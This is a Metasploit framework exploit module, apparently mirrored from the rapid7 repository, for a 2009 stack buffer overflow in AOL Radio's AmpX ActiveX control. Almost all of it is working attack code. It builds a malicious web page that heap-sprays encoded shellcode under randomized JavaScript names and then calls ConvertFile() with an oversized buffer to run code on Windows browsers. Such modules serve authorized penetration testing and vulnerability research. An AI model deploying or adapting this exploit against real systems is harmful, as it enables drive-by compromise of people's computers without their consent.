CoCalc -- aol_ampx_convertfile.rb

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/aol_ampx_convertfile.rb
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::HttpServer::HTML
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'AOL Radio AmpX ActiveX Control ConvertFile() Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack-based buffer overflow in AOL IWinAmpActiveX
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          class (AmpX.dll) version 2.4.0.6 installed via AOL Radio website.
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          By setting an overly long value to 'ConvertFile()', an attacker can overrun
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          a buffer and execute arbitrary code.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'rgod <rgod[at]autistici.org>',	# Original exploit [see References]
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          'Trancer <mtrancer[at]gmail.com>'	# Metasploit implementation
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        ],
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        'References' => [
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          [ 'OSVDB', '54706' ],
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          [ 'BID', '35028' ],
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          [ 'EDB', '8733' ],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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        },
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        'Payload' => {
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          'Space' => 1024,
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          'BadChars' => "\x00\x09\x0a\x0d'\\",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 250, 'Ret' => 0x0C0C0C0C } ]
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        ],
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        'DisclosureDate' => '2009-05-19',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def autofilter
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    false
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  end
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  def check_dependencies
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    use_zlib
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  end
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  def on_request_uri(cli, request)
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    # Re-generate the payload
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    return if ((p = regenerate_payload(cli)) == nil)
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    # Encode the shellcode
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    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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    # Setup exploit buffers
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    nops = Rex::Text.to_unescape([target.ret].pack('V'))
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    ret = Rex::Text.uri_encode([target.ret].pack('L'))
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    blocksize = 0x40000
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    fillto = 500
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    offset = target['Offset']
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    # Randomize the javascript variable names
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    ampx = rand_text_alpha(rand(100) + 1)
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    j_shellcode = rand_text_alpha(rand(100) + 1)
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    j_nops = rand_text_alpha(rand(100) + 1)
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    j_headersize = rand_text_alpha(rand(100) + 1)
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    j_slackspace = rand_text_alpha(rand(100) + 1)
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    j_fillblock = rand_text_alpha(rand(100) + 1)
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    j_block = rand_text_alpha(rand(100) + 1)
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    j_memory = rand_text_alpha(rand(100) + 1)
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    j_counter = rand_text_alpha(rand(30) + 2)
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    j_ret = rand_text_alpha(rand(100) + 1)
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    j_eax = rand_text_alpha(rand(100) + 1)
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    j_bof = rand_text_alpha(rand(100) + 1)
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    randnop = rand_text_alpha(rand(100) + 1)
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    # Build out the message
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    content = %Q|
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<html>
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<OBJECT classid='clsid:FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6' id='#{ampx}'></OBJECT>
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<script language='javascript'>
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  #{j_shellcode}=unescape('#{shellcode}');
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  var #{randnop} = "#{nops}";
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  #{j_nops}=unescape(#{randnop});
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  #{j_headersize}=20;
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  #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
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  while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
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  #{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
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  #{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
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  while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
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  #{j_memory}=new Array();
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  for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
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  #{j_eax}='';
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  for(#{j_counter}=0;#{j_counter}<=350;#{j_counter}++)#{j_eax}+=unescape('%FF%FF%FF%FF');
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  #{j_ret}='';
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  for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
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  #{j_bof}=#{j_eax}+#{j_ret};
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  #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
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  #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
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  #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
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  #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
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</script>
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</html>
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      |
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    print_status("Sending #{self.name}")
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    # Transmit the response to the client
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    send_response_html(cli, content)
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    # Handle the payload
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    handler(cli)
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  end
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end
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